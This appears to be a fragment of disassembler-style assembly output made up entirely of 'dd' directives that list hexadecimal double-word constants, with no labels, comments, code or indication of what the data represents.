dd 547FBC24h, 0F6847DFBh, 32A45823h, 45CA69DDh, 0E6D16954h
dd 7CC4B706h, 91184418h, 5C2FC5FEh, 0B19E906h, 0FEF08507h
dd 5425D573h, 0D75D42D9h, 551C9DE7h, 5274782Eh, 0FB60DB8Fh
dd 964BC284h, 139570ACh, 6F9DD1Fh, 235EA3BFh, 4A985A8Bh
dd 637BBC0Ch, 34094501h, 0F8BBCA48h, 80540376h, 1397C009h
dd 2927D943h, 6760A221h, 95357DB4h, 74359D83h, 4C161F8Eh
dd 0EB6F084Ch, 0F8850483h, 4BDC96BEh, 0CE343447h, 399C76C0h
dd 5132A87Ch, 0A07AD741h, 0C627D924h, 0E3401D4Fh, 0FAB70E0Eh
dd 58AEF428h, 64C67293h, 72589794h, 27AA02DBh, 0F82E3B49h
dd 0D2A04AF4h, 6A48C241h, 95718BDCh, 9B02CFE7h, 0B0C916C8h
dd 477004A4h, 5720DF35h, 0B43B0255h, 6A6030DEh, 0C88147DCh
dd 2EEF4ECCh, 942DAD6h, 0E0EB05E6h, 0B584339h, 0DA075B15h
dd 82E17D9Dh, 5E3FC370h, 0C5AAD91Ch, 4F4F49E2h, 0DE15DB29h
dd 0F6813F25h, 95FA3710h, 9D8C0F51h, 8315EB59h, 36156A7Bh
dd 0D16EA3E2h, 2D53B448h, 0F01C20F7h, 7A34CF08h, 7967C25Dh
dd 661BC824h, 0B7BFD90Eh, 219CFD7Fh, 8E818ABh, 7A8BACA9h
dd 0CF0DD65Ch, 0CFEEDDE8h, 6C5A2BFFh, 521C3AA8h, 0BB3D3C88h
dd 0B76BF301h, 8EAA524Ch, 0EBACCCFBh, 2ACE235h, 0C3E5AE43h
dd 6047BA65h, 90107C0Fh, 4CE84E43h, 442E6724h, 0C3F76AF7h
dd 7168EBE6h, 41A48F73h, 0B0F9C8ECh, 324D968Fh, 0FC73182h
dd 2D66594Ah, 6E71F167h, 6B41E6DDh, 0D47B14D3h, 0BAA7845Ah
dd 10C7DE17h, 29D10Bh, 4D69023Ah, 7515C71Ah, 0FA81B237h
dd 0BC839925h, 37844F63h, 93007AB9h, 53989E2Eh, 6136D5h
dd 8041A2E5h, 0DF88E48Eh, 52D2E0EBh, 23B19A52h, 0C6838BDAh
dd 88A5E6E7h, 0B00C7992h, 258A5B4Dh, 1AD28799h, 9BB236CDh
dd 8FF4FFE5h, 0EF130A33h, 6BE67452h, 86AF5129h, 1FCC8B62h
dd 281BB1A3h, 0F43463E5h, 88D62F9Dh, 1F8156EAh, 0F6DCEF76h
dd 27141FFBh, 0D70F36EAh, 3B0E29DAh, 0A13950F4h, 2692818Bh
dd 0D9330D69h, 0B7B3C766h, 5444BD9Fh, 8B8A4CE8h, 9E22F874h
dd 1EE36167h, 0B7F8EB36h, 0DD11D7C4h, 22380805h, 0D75B87D8h
dd 0A8914EBEh, 4C11E30Fh, 0A6B82118h, 0B827A7FCh, 9BF7161Fh
dd 0C097D62Bh, 0C02760E4h, 1D2530DBh, 5C65182Eh, 0C8D8FE8Bh
dd 0E277989Ah, 7B2AAAAh, 0F373DE8Dh, 34E179FCh, 11FDCC9Ah
dd 3B9F35EEh, 0F3770D83h, 0F944FA23h, 696A9C25h, 0E62D94C6h
dd 0FB8EA933h, 8C0F8465h, 552A7109h, 8AD1E103h, 0EEF26174h
dd 0A77D4B48h, 1E32E2C8h, 2286E2D5h, 5AE42978h, 251D66FCh
dd 2D08EFCDh, 0C0E11F2h, 3D7A2431h, 5DF576EBh, 42FB3DCBh
dd 1D686CA6h, 23834EC0h, 0D024E52Bh, 62DC7F67h, 37A24171h
dd 0A1406F23h, 0DD95FEECh, 8140A6CBh, 4DBBEC8Ch, 0C4922D35h
dd 89511502h, 0A4418327h, 0B111F416h, 7585B08Ch, 0B031481Ah
dd 4B87CA6Dh, 7B00B81Fh, 574218CCh, 0BA6B3E57h, 8263175Ch
dd 1EF6196h, 0BA45B654h
dd 0D21418BCh, 0BE439C45h, 1269478Ah, 0AE2E27E7h, 7AFDF21h
dd 713CDBB3h, 0A5762F2Dh, 0F05449CDh, 0E363184h, 685964Bh
dd 6306F931h, 93F57AE0h, 4F88E57Ch, 28867826h, 0A11134CCh
dd 0BD4667A7h, 0FBBE8A0Dh, 0A2C057B7h, 3522B70Dh, 2B866C34h
dd 15DD842Bh, 24B75C2Ah, 0DBD18A00h, 53A15396h, 5966E8Bh
dd 9CAA4B57h, 791B7FB3h, 0A29D543Eh, 7CCFADE7h, 0C40318B7h
dd 202C3A84h, 0E66C249Bh, 52635F4Dh, 0F0BC5812h, 0D73AE3C6h
dd 0B0E23C5h, 0D571BEFBh, 2F71F462h, 0AEE1136Ah, 8377043h
dd 0F0A502C5h, 44D319F8h, 0CCB4BB1Bh, 0C3D2296Dh, 8D9117C2h
dd 7F190663h, 4ACD5FADh, 0A4DB7156h, 1FDBD4E9h, 745DC35h
dd 0C599BA6Dh, 1FD37DA2h, 72B26198h, 0DBDC3D8Dh, 0F390AF98h
dd 931C3AA7h, 0C0837F2Eh, 0D2D86567h, 0D0AC33E7h, 0F01CE5EBh
dd 2F857A6h, 2EBEF82Ch, 0EAD0B67Ah, 0D45D9CB4h, 0EB6A2901h
dd 9AB381E5h, 14A5C3C4h, 4B1A6F4Ah, 0C26A17D2h, 0DA12E0Bh
dd 3DF1DC14h, 97F5620Dh, 0FFA83828h, 9E4544CFh, 2C495DDEh
dd 0D7CCEF06h, 0FA6DBD71h, 1C6AF173h, 4FCC82Ah, 0F6DF0E8Fh
dd 931F9D62h, 0EB722D96h, 44F66D9Eh, 9D47E10Bh, 78CFB68Ch
dd 1E5D22E6h, 9CC8ED99h, 0FF485CAFh, 7D8AD250h, 0FA27BB31h
dd 9D6112DDh, 0F464B022h, 5F0532C2h, 0F6EC5062h, 3C323EF0h
dd 8AC340B2h, 8655419h, 0DA6526EEh, 75891B5Dh, 5F164BD3h
dd 13267602h, 3EC914C5h, 13C0DD3Bh, 0B424FB5Ch, 0F2B453C7h
dd 4FA7114Dh, 241C28F7h, 0F8125D43h, 0D622F50Ah, 0C1595CAEh
dd 0B4EDB854h, 0F1152DBh, 0A030B87Ah, 9186DBC6h, 16EDDFE6h
dd 0ABAC925Bh, 0E0E06D55h, 49DC2C2Bh, 2F6195AEh, 0B1771B97h
dd 0E576149Ch, 885E2589h, 0BC05BA4Fh, 6206CF1Fh, 72187239h
dd 0FF7662FBh, 52CD3B4Ch, 4EDFC6BAh, 0D0ECC826h, 0F9F582F8h
dd 64496EC6h, 4DBFFE11h, 36546030h, 523470B1h, 812D9834h
dd 0E3B7A9FAh, 0D2C7382Eh, 13526C7Ch, 0E06AF9A3h, 2296363Eh
dd 0CFDD743Fh, 1CDB6756h, 407AD7A0h, 851813AEh, 0DF201560h
dd 9BE957B3h, 75BA22EBh, 95673068h, 873EE5F1h, 925F9E53h
dd 8FA0D2AFh, 61029D16h, 7EB23D0Bh, 13022A75h, 4CE0859Eh
dd 0EAC02FF5h, 6E2302D3h, 0A4565EA6h, 590CDBA4h, 99A145BBh
dd 7C1EA5DCh, 0B0AF7D30h, 0D5C9298Fh, 0D9540EF6h, 0B292749h
dd 319B6BA1h, 53901882h, 63214D62h, 1230F59Fh, 1E67678Ch
dd 3B708E32h, 6DBA88F6h, 0F2365BCBh, 0B58E9D36h, 913D7969h
dd 2E4C00EFh, 0C408A8E6h, 0BB45DC45h, 3326D16Fh, 5A03B46Ch
dd 1F7F44C4h, 1D9D9C95h, 0AE89289h, 2F1A9BC7h, 0AD9BF11Dh
dd 0C6AA1648h, 45C981Eh, 44A71C8Dh, 0EF283B1Ch, 2995FF49h
dd 2C914FFFh, 1A52880Bh, 0EA2276CEh, 0ED5ECB81h, 0EC4C671Ah
dd 574C777Ch, 0A03F7C98h, 0C1283FB3h, 0EF8E09D6h, 9C1CB63Bh
dd 5A1CBA99h, 294B406Ah, 9C4E6496h, 4C42D9Eh, 0ACF030DCh
dd 5495C16Eh, 25607734h, 0B564F957h, 0A9AB9ACBh, 89D32464h
dd 0F3EAAB51h, 36B891D3h, 7AEB30A9h, 59862E8Dh, 5E059CCBh
dd 0C75B9DFAh, 51F9DB75h, 1F3EE457h, 1E672EA8h, 3C6C7B34h
dd 74974D7Dh, 2CA9444Ah, 5A41B0C1h, 4DCFBAFFh, 8483046Bh
dd 8400B4E7h, 20118857h, 594AE721h, 6D594A7h, 5A03C6F3h
dd 0B3AC340Eh, 0AD27AAF8h, 12D1AF9h, 0B0D69534h, 0DB079668h
dd 0A6FA9E6Ch, 593E37F5h, 66461652h, 0CDD1977Dh, 0FB96ABFh
dd 185ED3AAh, 0A8C0C8ECh, 0DF7A8FA6h, 3922A184h, 9DBA059h
dd 363FE513h, 27A03821h, 0BDBC280h, 0B1BAB84Dh, 807158Ah
dd 0F250329h, 2590397h, 24B6100Ah, 2C6681E7h, 2CA01999h
dd 26025270h, 4DC0AA6Ah, 9A382CC5h, 25AC4AA8h, 4727BEADh
dd 9D7F667Eh, 5E1F1EC2h, 0DFB9C380h, 91D07AAh, 0A2CF7215h
dd 0D0C6F5CBh, 6B54ACC3h, 81D58601h, 168C0F59h, 0D0FCC1EFh
dd 0F3EE54AAh, 478C998Ah, 0E14F3C94h, 2A136182h, 0ADA04FF7h
dd 0A792DDCDh, 53901CC7h, 0C81CDC8Ch, 5BD40420h, 78230F43h
dd 902CDAACh, 1DB1769Bh, 752FFA4Eh, 0C164034Fh, 0BB558B2Eh
dd 0CA119E91h, 0DAFF7489h, 95DE716Bh, 0E2E5CCD3h, 0D5C7D9FDh
dd 0F48AFDCFh, 5ADF2323h, 0A24AB8E7h, 0DD619AC5h, 9ED14859h
dd 4A1DB03Bh, 55896DD6h, 0B24CA988h, 0ADDE71A0h, 6065A628h
dd 22F64BF4h, 8BA23185h, 252498Fh, 9F804314h, 651022Eh
dd 12C88AA5h, 6A0C121h, 32251720h, 64C7F4ABh, 0D4A25C6Bh
dd 27F3F47Fh, 64675C1Dh, 0FCAA88D9h, 3F829236h, 42B879B4h
dd 25365D48h, 7B2A2530h, 0B96F1F74h, 3A4997A4h, 0DED72A7h
dd 1D3F5BD9h, 0DCC871DFh, 153A51D1h, 0E4F5D5C1h, 0E5310C0h
dd 9A6CA99Fh, 0DAADA27Bh, 95F94B2Bh, 1646BAB1h, 53568038h
dd 9DC08942h, 411ED680h, 129DF6B1h, 83F92CABh, 735BA663h
dd 0C9352A40h, 0B690C6h, 19DEF649h, 0BBA2DFDAh, 7118DD28h
dd 42890238h, 0B3D6E786h, 39A81C69h, 933DE4D6h, 76D91F18h
dd 6265D235h, 59C93827h, 3F3DCCE7h, 0FD417C53h, 0B863632Ch
dd 8FD30D09h, 0E93D15B7h, 7E96EC5Eh, 300A98ACh, 44371D7Ch
dd 595CEE5Ah, 12CC7B1Dh, 6D0EAD17h, 9AF1EFB0h, 823DD1A9h
dd 0E43B075Bh, 0AE9580F7h, 0C0CC3681h, 0C62ECC24h, 19D4D9AEh
dd 0BCEC682Ah, 6B36788Ch, 451296A6h, 7B4926A0h, 1115AF3Dh
dd 21B331B7h, 2B437612h, 3A64506Ah, 48EDF15Eh, 1DE36CF6h
dd 763220ECh, 783BC82Dh, 26FB9FF3h, 0D6E78CAh, 0A2961A9Ch
dd 0F9291073h, 8E5324F6h, 0DD55DFC6h, 2DB8FF5Ch, 860D2C9Ch
dd 5DA2454h, 0BD1699A1h, 0C637B4F7h, 17A0F457h, 0F90E15C6h
dd 95F2CB2Dh, 92C9BBEDh, 30E3F23h, 5DE05996h, 27D0E0Ch
dd 44E35DF5h, 0A92F839Dh, 207DEBE2h, 84F7D565h, 8834DFBh
dd 5FD3604Fh, 905929D2h, 5C4BE9D7h, 0AFC2631Eh, 0B6FB9568h
dd 7690EDAEh, 1AE4EFB6h, 0C3679282h, 8762F810h, 74A84A4Eh
dd 2E669F58h, 0DF41DFEAh, 29AE1525h, 308A0E2Ah, 4909C92Ch
dd 0F626FC5Bh, 0DDF8F4D2h, 0B5FBB122h, 326FCFE7h, 400F9230h
dd 0DDB8A3FDh, 35894633h, 0E7BBA762h, 28E206FFh, 0E703C3FFh
dd 6AF026CDh, 2596996Ch, 8024428Bh, 7D2D0703h, 12DEB5C3h
dd 0E47F1255h, 0E77B0D3Fh, 0BD680541h, 0ECD14E5Dh, 7803533h
dd 90603BDBh, 0ACFA655Eh, 0B608E137h, 0F8397BF4h, 5294898Ah
dd 0C6058BBBh, 0E15673A0h, 0ECCC4D75h, 8692A048h, 8F152410h
dd 0DDB2A525h, 892FA0E0h, 4D3DD3B7h, 631CBF64h, 0BEA751B5h
dd 70C0601h, 0DA1941DDh, 0E47B1689h, 0E2A028B0h, 96B6CFE5h
dd 2692EECBh, 0C480B748h, 179F99DCh, 3A01BE98h, 136E359Dh
dd 2B1F291h, 1961A4AEh, 0E6C1A68Eh, 58F25763h, 5D5609EBh
dd 44F82A07h, 9FDBCD94h, 49F473A8h, 0F9A91390h, 41A619D7h
dd 0ED2A4D79h, 981C2B9h, 91AB369Bh, 15A7D569h, 0E1EB85EAh
dd 70BCEAC2h, 0C972B9CCh, 0DDD14D13h, 55C0D356h, 0C8439CC8h
dd 0AD84BF87h, 0BC60151Fh, 7D185D33h, 0A748F5A2h, 61D9B30Ch
dd 5D86D9B6h, 2C6234AFh, 90CCEF7Eh, 643A0236h, 0FE7BE54Fh
dd 0EA3E5FBEh, 711D3009h, 0B9519C1Ah, 0D05CBE14h, 34C0A7BCh
dd 4F33E11Ah, 0F8BB8435h, 4D381C59h, 3DD5F653h, 20708266h
dd 0E61B6E02h, 5A18D9DAh, 80663876h, 0E666BB04h, 564F34h
dd 9402AFE5h, 0D91040F2h, 0DFCF3375h, 57218732h, 79A408E1h
dd 725A963Ah, 126936FCh
dd 5BB465DAh, 50AA407Fh, 0E9026340h, 77D9E6Dh, 824AE752h
dd 8F5CBDAh, 0B24A9B1Ch, 838A3F45h, 206C7FBEh, 7E9AE8BBh
dd 8FC2AD3Ah, 600B0657h, 70E1B6EAh, 0FA3809D0h, 0ADA28F22h
dd 3672C3D5h, 21D3A3B0h, 0BC420C17h, 919A9C9Fh, 293D3BDEh
dd 7237C4FCh, 0D0F480E4h, 912BF0h, 0FEA393C0h, 0E6FDE8E8h
dd 0BAA6832Fh, 0A2EE105Bh, 3039C33Ah, 1516AAE5h, 286F84E8h
dd 0FF640537h, 0B750FB19h, 0BA506697h, 7C3DF893h, 0EC5F06A2h
dd 106FC1A8h, 0FB3AF14h, 0CD3FF68Ch, 0B74C8363h, 632F8EC3h
dd 9DB3673Bh, 0CB40148Eh, 4E287C6Eh, 29FFC2F9h, 0D34D073Eh
dd 583A4C3Ch, 7AA269EDh, 6C1606A2h, 89F19A1Dh, 0FDE58CF9h
dd 1539A5CCh, 42D42815h, 0C3406415h, 0A5AD22E3h, 0AC3D3459h
dd 0B21EA5FAh, 0C89418Eh, 4F3586CEh, 0A398FD44h, 2036034Bh
dd 53DBA6E7h, 6641BE0Ah, 0D1243E17h, 935B356Bh, 0A5DA3490h
dd 5B3DD657h, 575BAADEh, 0CBD813A7h, 0B7E62AC4h, 4A4CDCCCh
dd 0A2FA43E9h, 2CE1F737h, 2A79D0E2h, 0CF76B206h, 78D9C6C7h
dd 0A5B42BDCh, 0F3DE3583h, 6CD339B4h, 6777959Fh, 158BFB35h
dd 0A19D8253h, 10CB2F62h, 0CB748DBAh, 0F91B8258h, 8829D9FBh
dd 0CD1C992Eh, 33B009FFh, 0D2639522h, 5A363E21h, 8209B3DDh
dd 0F3AF3A42h, 7610311Fh, 0B225C7FCh, 0E893BA61h, 0F02F62B8h
dd 0F8AEA29Bh, 384244D7h, 774A41FEh, 8929238Dh, 0E7E8C591h
dd 0F7B18B80h, 451A34B7h, 0FD9ADC36h, 23443386h, 90885811h
dd 0B039CA05h, 0B7668840h, 188985FEh, 26AE3452h, 49838AE5h
dd 46FC2683h, 5332A483h, 34E1344Bh, 2929114Eh, 32EC2B99h
dd 0DD90032Ah, 5857F5C0h, 0B3173B5Ah, 8E6762DFh, 3DDDDE68h
dd 0EBA24B9Ah, 0EA695AADh, 3691D552h, 0C75441BAh, 88DEF2Bh
dd 0BC03D357h, 0D49E18B2h, 115FEC6Ah, 0F0C29443h, 0FC1C69D4h
dd 0CB7F4C5Fh, 37589262h, 0F908D75Ch, 5ED9DEABh, 1816154Bh
dd 880E482Eh, 8E688251h, 7369875Fh, 8ACE5420h, 0D8E4B07Fh
dd 0AB62E2D4h, 0B0DB7A10h, 2BD4FBFFh, 0B1CCC04Bh, 4744EA38h
dd 133A9F38h, 473B5B6Ch, 0C81FD133h, 0DA665567h, 33245890h
dd 56CB0B5Fh, 9901A411h, 239B0CFEh, 0E1C623EBh, 3FCFFCDh
dd 0FA050B07h, 411F3B3Fh, 6C15809Eh, 6A0F4B2Fh, 0FBD8501h
dd 0B2F9CC3Dh, 0D65B25D6h, 0CB94D3F4h, 0C6020225h, 4AE4D39Ah
dd 0B9549FE8h, 892E7022h, 0AABA8B25h, 0B3451859h, 1B570587h
dd 3F7B346Ah, 20D66AD7h, 6CD5C988h, 0EA50EA4Ah, 559505A9h
dd 0B0F51F4Dh, 0B72E2FCEh, 0CA0DE818h, 0DD13FCC8h, 0F994BE97h
dd 0FB11EE87h, 344F35A5h, 6C13933Ah, 96D05E11h, 0D4AE45A5h
dd 7A9B94DCh, 0A5638D91h, 3CEB1F55h, 69FB4256h, 7613845Eh
dd 2EA2E38Eh, 0B21ECBCBh, 2A714D30h, 449387FAh, 3F4C57C4h
dd 24573680h, 88CD49FFh, 0CEFEA57Eh, 0C6779E92h, 0A1F82232h
dd 0B286BF1Dh, 0E7AFE81h, 0B94993D2h, 9FDB22B1h, 0AD689906h
dd 1BCE9B03h, 7230EE68h, 6702AA2Dh, 296929B1h, 3045E699h
dd 0F0F5D230h, 2D14782Ch, 6575FB47h, 333B120Ah, 494F5DD3h
dd 0BB85210Eh, 0C581DC81h, 41B699DAh, 0C45C94F0h, 0A5709DC3h
dd 301AE003h, 981EFC0Dh, 0D3700ADCh, 56295E22h, 5A52BC0Ah
dd 17C1AD81h, 0AC3D4156h, 8187C209h, 10EA930Dh, 0AF1A9ABh
dd 0E21DDDE8h, 0BE5B949Eh, 0F975F07Bh, 4E03F228h, 58C538F7h
dd 5477804Ah, 7076C44Dh, 0F59BC15Dh, 0C57638A4h, 0EE881610h
dd 135FA3FBh, 0B634A873h, 248B2EACh, 64B94537h, 4E2C13DDh
dd 851F431Ah, 32463749h, 0B816925h, 77A72F94h, 0AC99D9C5h
dd 0EE7C3FAEh, 0E4187766h, 0F0E90D44h, 54A01D93h, 0DD53EF59h
dd 0C4035489h, 596AE4E2h, 0D5B0E4FDh, 0CF9F6761h, 4F810EC1h
dd 0E9A4BFA1h, 0B0CE24DAh, 7C48F725h, 5E7DC095h, 0BB5E4554h
dd 7EB39938h, 269748D9h, 0F4B3465Ah, 367BEEFh, 3A255B92h
dd 323C8B91h, 0EC834F2Bh, 73338E7Fh, 7B667F80h, 56FB5174h
dd 5EF7BF73h, 3521EDC3h, 0FACA2882h, 6264497Eh, 99FE539Ah
dd 259329FEh, 0A4B916A7h, 7B8AE3C7h, 15DC9BD7h, 7B161451h
dd 899063C5h, 0F2F34130h, 0D295DF64h, 0A9376877h, 0C157ABE0h
dd 48A164D0h, 4E43584Bh, 0C17542FFh, 76B46D80h, 1BE77BDFh
dd 81F1FAB8h, 2C2BE559h, 0F22C9EB5h, 0BD83538Ah, 523BA08Fh
dd 0F49D698Fh, 528DD96Dh, 99B077EEh, 54C1DA22h, 0C67F2EC5h
dd 2CA1868Eh, 3A6046EBh, 0AB83E14Ch, 6EBB5C12h, 6DFDDBA4h
dd 0D2873006h, 0EEC2A954h, 3E99975Fh, 12FE9BC9h, 0FEA6CDEBh
dd 5EA6DE3Ah, 20EBB861h, 7B875249h, 944011A2h, 84665CB9h
dd 982BC544h, 0F84E8D5Bh, 29ED416Eh, 676843D5h, 0F9AFB82h
dd 0A160CAAEh, 78BF88ABh, 76633BE0h, 7257D450h, 4188DE70h
dd 7DB4D618h, 0E2D25AC6h, 40367F33h, 6F827EE6h, 0DE980545h
dd 0C90F76F1h, 8ADC350Ah, 0D35AAE54h, 30507F64h, 55E48CBEh
dd 9194E607h, 0E927264Dh, 78C7E8F9h, 7E3A7AAAh, 0CB568E46h
dd 983EB31h, 2CD23212h, 11D2BB10h, 6FAFEEF8h, 2A36AC0Eh
dd 0CB85B8B7h, 5102C6DCh, 82FDD02Eh, 0CCBEBA72h, 2227A28Fh
dd 0F36AA1C3h, 0CFA49D16h, 0F314AFA1h, 0C57054EBh, 0C4F401E5h
dd 19C420BEh, 636961CEh, 0F1C4963Bh, 3C65DD1Eh, 389ADADAh
dd 7DEA2933h, 0A9D8458h, 58409ED5h, 722B42ECh, 0B48E96B6h
dd 92333E0Ah, 0B71F8AFDh, 2A0C9A24h, 8804B6A1h, 162D487Eh
dd 4A77F68Ch, 7635E043h, 0A0505798h, 0D77693CBh, 4BAF14ADh
dd 9FEF2A02h, 72BCFD69h, 0C7A53495h, 3A3753D6h, 342E85FCh
dd 1CB27E70h, 0D3351104h, 96D12F9Eh, 0F9DC3119h, 0D00F6136h
dd 86D66449h, 0D50D28FDh, 0B7FB8C75h, 8A55AB29h, 46BE076Ch
dd 5B2FF183h, 0E0B1C0A1h, 0A3F27F4Bh, 5ABB1231h, 51121D8Ch
dd 9086947Fh, 0B1A721C2h, 0EE32E68h, 5A012CAh, 758B5F1Bh
dd 0F948937Dh, 4AA1437Dh, 322C6BFEh, 58BE0F6Ch, 8A32AFCDh
dd 0BDC281C2h, 60DB94ABh, 5A26EEACh, 59AA250h, 0C955DE0Ah
dd 0A202C217h, 5CDE207Bh, 0CBA4535Fh, 0F708CA1h, 840BBD4Eh
dd 0F76D31ECh, 4BF4D2E1h, 0BE18124Fh, 0E72132B3h, 59E0252Ah
dd 0CF119A38h, 1E4B67A5h, 0E99D2A9Ah, 0E80D23FFh, 3D0673BFh
dd 24B039F9h, 12C45C82h, 0F69402D1h, 381C7D19h, 9B4894F0h
dd 0CC694BC9h, 0F9401BCAh, 71FFA57Ch, 3BA18C52h, 0FA0D47F5h
dd 1F128A31h, 859BA770h, 7B28432Dh, 414C3EFBh, 53C8B497h
dd 9231ABFDh, 0C3476943h, 84375D9Bh, 19EDA758h, 7EF98C7Ah
dd 8184C1B0h, 9486EAE4h, 42960945h, 11F5B949h, 726BB298h
dd 0EBB59D2Dh, 72891D02h, 0EDBBE587h, 7580AA24h, 16ACB671h
dd 0F07EF986h, 0DD6ADF53h, 0B2A143CAh, 47765972h, 0B755C870h
dd 71C29392h, 0AEAE4139h, 45AB1474h, 6D9BCCE8h, 24AE7ED0h
dd 805E60A1h, 0A2BB76F1h, 23382C4Ch, 9E62B91Dh, 1F2D78A3h
dd 4937B67Ah, 72B310BCh, 0E45E0221h, 19C73178h, 8E4BB3C9h
dd 2D9F7E65h, 0BC5B2049h, 0E011D55Dh, 67B9A39Fh, 8F2DBA5Ch
dd 5DDEE48h, 90F45D77h, 97846AD4h, 8399F8FFh, 91D59A96h
dd 5FA133A0h, 0EC1CFF4Ch, 831D44B1h, 0E0B84228h, 50910D8Dh
dd 0BE493FF3h, 47D7BADEh, 3EA716D6h, 0F9981B82h, 0D05DD50Bh
dd 0C0AD58F3h, 2749E39h, 1958A0A3h, 16F050A2h, 0EBE0048Dh
dd 6A3DF189h, 8D1EDC6Bh, 921414B4h, 154CCE58h, 923876C3h
dd 3F549078h, 0E7F2868Bh
dd 9907F774h, 0B1745AF6h, 4BE26A56h, 4384B186h, 2592353Eh
dd 0F8C2D688h, 2BB95705h, 60207BAFh, 0ACB17C73h, 0B78CF1C5h
dd 462338FAh, 7FFAEF74h, 0F3AE268h, 22117DF8h, 2C8F8C6h
dd 246B2245h, 0E93C3050h, 0F11F146h, 0F8B178B7h, 326EB0D8h
dd 0E038F3F6h, 7041563Bh, 0A7644F76h, 2ED780A7h, 0F2E7F2CBh
dd 112A826Ch, 0D56DB41Ch, 79F7E724h, 4FDD0E50h, 0D14467E7h
dd 32CDA0D2h, 0A9DB9899h, 6A09DC9Fh, 0A8848B5Ah, 78836488h
dd 0D8C6E7B6h, 9464287Ah, 9FB5E4EBh, 0C30C20FBh, 4CA1A12h
dd 8EB07B68h, 0EA5EB63h, 773162Fh, 9DAC4177h, 8D3AB732h
dd 8C0CD2F2h, 0C7924BA9h, 7CC7DB08h, 61FE55DEh, 0C5A6D529h
dd 0A16294A5h, 2F07B98Ch, 0BC431C2Dh, 427E2609h, 7C7169EEh
dd 9122CC2Ah, 2B8CFFDh, 4A348743h, 0D0696FDCh, 70104754h
dd 3D1B075Fh, 0D447D1E1h, 1067625Bh, 0D15C2906h, 378C5712h
dd 30CC7458h, 24757A8Fh, 56DF2F8Ah, 610703C4h, 0C5A38FA9h
dd 0E18C0B24h, 0A8E5A94Eh, 85603F55h, 8DFFB4F2h, 18C80BC5h
dd 0B98670A7h, 4404A575h, 0B9373F7Ah, 6EB98F9Ah, 469C8111h
dd 62DF60D6h, 1CBEE89h, 3F66D2C7h, 0DD15089Ah, 0C02D68A8h
dd 0E5CD6724h, 9CEFC17Ch, 0D869AC91h, 227AA03Ch, 0FE048852h
dd 8C7C76B1h, 0CE4D1DA9h, 8BD5EA08h, 0C15F1575h, 2142A2D7h
dd 6619BD47h, 0DFB04E35h, 0B147EC04h, 40BA09E3h, 0AE3DA736h
dd 0F2980A9Eh, 620F9302h, 1541AFF9h, 0A4CE977h, 0B0C94E71h
dd 8991F86Ch, 0D689E2FCh, 0B84B21AFh, 0CCD937BDh, 0C93B48EAh
dd 0C2072DFFh, 65D338C3h, 0E9908ECFh, 0F485E0F9h, 7E60CDD1h
dd 0CDAFB28Eh, 23FB59F4h, 8AA1A164h, 8FB275F2h, 5A02705h
dd 4F771707h, 3B93DB1Bh, 3747D899h, 0F4B5FB0Ah, 0FA66F86Dh
dd 272D0612h, 4B030A35h, 25DE8501h, 9D4F9AD5h, 0FCE8F6Bh
dd 18DCEA4Dh, 1E21D4E1h, 4BFAF398h, 34E2EBBh, 0FBECAE3Ch
dd 0DD745DE5h, 11FAEEA8h, 0CC577ECh, 0B5D2334Eh, 0F9C6B057h
dd 4DC1DE58h, 0A4E29DEAh, 76C43563h, 0AA724732h, 0E8225DB7h
dd 1BF2DA2Ch, 705EC619h, 0F5CC50C9h, 406A9AECh, 0C080A9BFh
dd 9FA66F8Eh, 7CF71ACDh, 0D715CD5Bh, 333EE35Ah, 0A19D2156h
dd 5BD30C8Ch, 664E8512h, 0B2031A2Dh, 0E5C5F39Fh, 7E11C080h
dd 9C65FA52h, 0A628C2C2h, 0DD99C42Dh, 34507040h, 0F862BB3Ch
dd 5405751Bh, 812C6340h, 905415D2h, 36068552h, 15EF9975h
dd 573EE3DBh, 99840DA9h, 0C5C85549h, 5E339CA3h, 0E78F0622h
dd 0EBDD8CA0h, 398E420Bh, 0EBD7F9B8h, 0E67C820Bh, 78706B29h
dd 750FBA7h, 0BCF71F3Eh, 7A98D94Bh, 0ECCE53A5h, 0C237C2F2h
dd 0D85B583Ah, 3B9F92FFh, 3E285305h, 89DDBC53h, 29149F66h
dd 6BAF1ECDh, 761101B4h, 20FCC4DDh, 87905F5Ah, 758D167Ch
dd 0EA87D589h, 45EC6E56h, 6DD3BFC0h, 57FDD944h, 0CBE5A49Eh
dd 0D3108921h, 0EB7C9AA5h, 6C058167h, 0FF4FBB0Dh, 0A53E196h
dd 644BF7B3h, 0E853D454h, 0A03DF3B3h, 0F5C46Ch, 0A29B1D32h
dd 124DE6A9h, 4421B448h, 2957CE59h, 0F6462BEh, 0FCAB3996h
dd 0C4007861h, 9F2D1FE1h, 26F1BA4Bh, 25EA33D7h, 363BE3A3h
dd 9B79C6BEh, 1FBAE8F9h, 0D012263Bh, 868021C9h, 0D08C6CAFh
dd 928293EBh, 0CFB6087Ah, 6DCDD845h, 5DD722A1h, 0BD7F0F83h
dd 0C808CC46h, 0B8929CC3h, 7964CC91h, 990DE445h, 0BFF4EADFh
dd 50B5D9BEh, 0F90E0180h, 2232737h, 793D6C2Ah, 9B35C659h
dd 6407822Eh, 64402D54h, 0AB154F94h, 0B7D8E6D7h, 5C6D15E3h
dd 47817193h, 0A8E25CFAh, 27A742FFh, 2992DDCBh, 0B487A87h
dd 300F52BCh, 0E427D1Dh, 3C34CD7Ch, 3802A301h, 9EB9D639h
dd 4A4629BAh, 48103253h, 4EC76DB8h, 8EC961A5h, 0EDC34BCDh
dd 0A6C1FCAh, 85B8FA1Dh, 92B815C9h, 1964425Fh, 0FDE63936h
dd 0D2FE2ADAh, 0A148D0E3h, 1953AD5Bh, 3CAA8A6h, 1D445A5Dh
dd 7EE06B43h, 0F4BDA189h, 61660524h, 52728196h, 5C56F9D3h
dd 0C02CB337h, 0B1424E5Ah, 30A63A8Eh, 54999CBDh, 0D58FC061h
dd 92B2D219h, 58CAAA32h, 0F201804Ch, 0BA0CB817h, 0FF8D2555h
dd 453BA895h, 0BD91Fh, 227B6887h, 0ABFC6C03h, 7C90FDA8h
dd 73D229B8h, 0AB33D1D8h, 48FECE50h, 78469264h, 0F725F0BEh
dd 63A526D5h, 6FDC7BFh, 34B1F3EDh, 0EAFF56D1h, 0FC893B2Dh
dd 287D0174h, 23ED2C1Ah, 333EB10Eh, 0F30E83D5h, 51B7B005h
dd 97AC2C11h, 9E3611DDh, 0A3BB042Dh, 0E4F66539h, 80BEF434h
dd 715C4EACh, 7A26C5C3h, 54EC320Ah, 0EB304F8Bh, 29FD878Ah
dd 80488F29h, 0BC942EE8h, 6579D29Ch, 46441032h, 67BEDF79h
